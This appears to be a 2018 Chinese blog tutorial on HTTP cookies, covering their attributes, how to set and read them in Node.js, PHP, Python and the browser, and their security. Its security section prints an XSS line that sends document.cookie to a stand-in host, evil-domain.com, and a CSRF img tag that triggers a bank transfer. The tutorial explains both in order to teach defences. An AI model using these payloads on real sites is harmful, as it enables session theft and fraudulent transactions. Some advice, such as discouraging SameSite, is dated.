全面了解 Http Cookie

作者:JAY 2018-06-07

前言

Cookie是web开发中常用协议之一,用于储存数据到用户终端。作为一个二十多年的老朋友,大家想必都不陌生。本文全面介绍cookie的原理、属性、使用方法、安全性,深入了解cookie的每个细节。


请注意,Cookie和Set-Cookie只是http header的一个属性而已。除了浏览器,其他环境下的http请求也能获取到,它们的处理机制可能与浏览器有差异。下文讨论的内容,如无特殊说明,默认讨论的是主流浏览器下的行为。


Cookie简介

在互联网建立之初,浏览器并没有在客户端保存内容的手段。每次http请求,都如同第一次访问一样,服务器不知道用户上一次做了什么。想象一下这是多可怕的世界,比如你每次访问一个需要校验登录态的页面,都得输入帐号密码。为了解决这个问题,Lou Montulli提出了Netscape Cookie规范,第二年IE2也支持了这个规范,之后再经过多次修改,成了我们现在用的cookie。


Cookie的常见用途:

  1. 在客户端保存登录态;

  2. 浏览器行为跟踪,分析用户行为,定向推送广告;

  3. 保存购物车、游戏分数、个性化设置等其他信息。

Cookie曾一度用于客户端数据的存储,因为那时候还没有别的手段。但现在浏览器已经支持各种各样的储存方式,上述第三个应用场景强烈推荐不要使用cookie。对于游戏分数等本地化内容推荐使用Web Storage,而购物车、个人设置则推荐存在服务器,并通过登录态去获取。


Cookie的缺陷及对策:

  1. Cookie的大小不能超过4KB。请勿储存复杂数据;

  2. Cookie会被附加在每个http请求中,增加了请求流量。升级到http2可以解决这个问题;

  3. 作为Http header的一部分,cookie是明文传递的。请使用https来保证安全性。



Cookie原理

客户端第一次向服务器发起http请求,服务器想在客户端种下cookie,在响应头部加入“Set-cookie”字段:


客户端收到cookie之后,储存在本地。第二次发起http请求时,自动在头部带上cookie:


注意上图中多个cookie的处理情况。服务端允许在同一个http响应的头部加入多个Set-Cookie,客户端(通常是浏览器)依次读取,以key-value形式存到本地。而客户端发起请求的时候,所有在这个域名下的有效值,以“key1=value1; key2=value2”格式合并为一个Cookie,加到http头部中。


如果浏览器中已经储存了一个cookie,再次收到同个域下相同key值的Set-Cookie,则会更新已储存的cookie。也就是说,浏览器cookie的写入、更新和删除,都可以通过服务器http header来操作,而不需要客户端脚本的支持。



Cookie属性

一个典型的Set-Cookie是一个如下的字符串:$key=$value; expires=$expires; path=$path; domain=$domain; HttpOnly; 。除了前面最重要的key/value之外,后面还有expires、path、domain、HttpOnly等字段。在Chrome下F12打开开发者工具,切换到Application/Storage/Cookies下,可查看当前页面储存的cookie。


Expires:

过期时间,字符串,格式为:“Wdy, DD-Mon-YYYY HH:MM:SS GMT”。如果没有设置,则默认是Session cookie,表示关闭浏览器之后失效。有些浏览器了会话恢复功能,其实就是把Session cookie存起来,下次打开浏览器时继续用。在服务器看起来,就好像浏览器从来没有关闭一样。

RFC 2965 规范提供了一个替代方案:"Max-Age:seconds",表示cookie多少秒后失效,效果是一样的。

注意,浏览器的cookie是按照客户端设备时间来判断是否过期的,而不是服务器时间。你甚至可以通过修改系统时间,来改变cookie的过期行为。


Domain、Path

Domain定义主机,Path定义路径,共同组成了cookie的作用域。

如果不指定Domain,则默认为当前主机(不包含子域名)。如果指定了Domain,则一般包含子域名。比如,tieba.baidu.com和zhidao.baidu.com,Domain都设置了“baidu.com”,这样你不管在哪边登录过一次,访问另一个也不用重新登录了,因为储存登录态的cookie在两个域名下都能使用。

注意,在跨域请求时,附带的是请求的接口所属的域名和路径下的cookie。这涉及到安全问题,下文还会详细讨论。


HttpOnly:

先别吐槽命名。这个标志表示在浏览器里,该cookie只会在通过发送请求时附上,而不能通过脚本document.cookie获取。用于避免跨站脚本攻击(XSS,下文会详细讨论)。


Secure:

表示这个cookie只能通过https传输,从 Chrome 52 和 Firefox 52 开始支持。然而,由于cookie机制本身不够安全(下文会详细讨论),Secure标记也不能确保其安全性。敏感信息本来就不应该通过cookie传输,这个标记的意义不是很大。


SameSite:

表示此Cookie在跨站请求时不会发送,用于防止跨站请求伪造攻击(CSRF,下文会详细讨论)。支持的浏览器不多,不推荐使用。浏览器支持情况请参考:https://caniuse.com/#search=SameSite



Cookie使用

服务端

Node.js

response.setHeader('Set-Cookie', ['type=ninja', 'language=javascript']);

PHP

bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool$secure = FALSE [, bool $httponly = FALSE ]]]]]] )

python

from http import cookies
C = cookies.SimpleCookie()
C["fig"] = "newton"
C["sugar"] = "wafer"

以上是发送Set-cookie的基本操作。至于读取,直接从http header里面读出cookie字段即可。


浏览器

浏览器会自动读取http响应的set-cookie字段,以key-value形式存在本地,并在下次请求的时候自动带上。对于没有设置HttpOnly的cookie,可以通过javascript读取和写入:

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"


读取cookie请注意:

  1. 存在多个cookie的情况下,document.cookie一次性全部读出,并通过“;”分隔;

  2. document.cookie输出结果是一个字符串,而非对象,需要自行分割和处理;

  3. document.cookie只能读取到key和value,读取不到Domain、Path、Expires等其他属性;


写入cookie请注意:

  1. 可以通过写入expires属性来修改cookie的过期时间,格式与set-cookie相同;

  2. document.cookie没有删除的操作,一般把expires修改为已经过期的时间,就相当于删除了cookie;

  3. document.cookie无法写入HttpOnly的cookie;


请参考Document.cookie文档,里面有完整支持unicode的cookie读取/写入器的示例代码。


其他

对于axiosflyio等http请求库,可以运行于不同的环境:

在浏览器中,通常是直接调用XMLHttpRequest 的实例方法,并不能获取到set-cookie字段。所有cookie的交互与浏览器一致;

非浏览器环境境下(如node、微信小程序等),当有多个 set-cookie 时候,axios将多个 set-cookie 合并到一个数组,flyio则是合并成字符串,并用 "," 分隔。

需要注意的是,非浏览器环境下,由于是直接从http header中获取信息,是可以获取到所有的cookie的,包括HttpOnly。同时,也能获取到Domain、Path、Expires等其他属性,格式与set-cookie一致。

(划重点,微信小程序,你一定会用到的。)



Cookie安全

防篡改

在客户端,cookie是可以轻易读取和修改,设计上就不应该使用cookie储存敏感数据。但有些场景,要求不那么严谨,我们只需要简单校验客户端的cookie不被篡改过即可。下面举一个简单的案例。

假设我们想记录访客首次访问时间,又不想在服务器建数据库储存。于是我们在客户端种一个cookie:“first_time: 2018-06-07 12:00:00”。这样下次用户再访问,我们就能获取到用户初次登录的时间了。然而有些用户不老实,他们自己篡改了这个cookie,以假装自己是老用户。这时就需要校验这个cookie是否被篡改过了。我们可以在服务器配置一个密钥,对“first_time”的值计算哈希签名,并同时再种一个“first_time_sig”的cookie。这样,用户下次提交cookie的时候,我们只需要对提交“first_time”的值算一下签名,看下是否和“first_time_sig”一致就行。由于用户没有服务器的密钥,他们即使修改了cookie的内容,也无法伪造签名。

这种签名防止篡改的思路跟JWT类似,可以参考我另一篇博客《Json Web Token》。


防XSS

Cookie经常被用来保存用户的登录态信息,一旦被窃取,直接威胁用户的账户权限安全。下面是一个典型的XSS(跨站脚本攻击)的例子:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上述代码一旦执行,用户的浏览器自动向黑客的主机evil-domain.com发送http请求,并以get方法传递了通过document.cookie获取到的当前页面下的cookie。这样,黑客就拿到用户权限了。

这也是上文提到的,关键数据的cookie请务必HttpOnly,这样可以避免被document.cookie获取到。


防CSRF

跨站请求伪造,举一个维基百科提到的例子,如果你在某不安全的论坛上看到一张图片:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

浏览器为了显示图片,会向bank.example.com发起get请求。这是你银行的域名,并且get后面带了转账等信息,在加上上文提到过的,跨域请求时附带的是接口所属域名下的cookie,意味着你之前在银行的登录态也会带上。这样,银行主机收到请求,误以为你在执行转账操作,并且登录态校验通过,黑客就把你的钱转走了。

我们应该从设计上尽量阻止此类事件的发生:

  1. 对用户输入的数据进行安全性过滤;

  2. 任何敏感操作都需要确认;

  3. 敏感请求使用POST而不是GET;

  4. 敏感信息的Cookie只能拥有较短的生命周期;



总结

本文介绍了http cookie的原理、属性、使用方法、安全性。


参考文献

  1. https://en.wikipedia.org/wiki/HTTP_cookie

  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies




本文未经许可禁止转载,如需转载请联系 JAY@oonne.com


TOP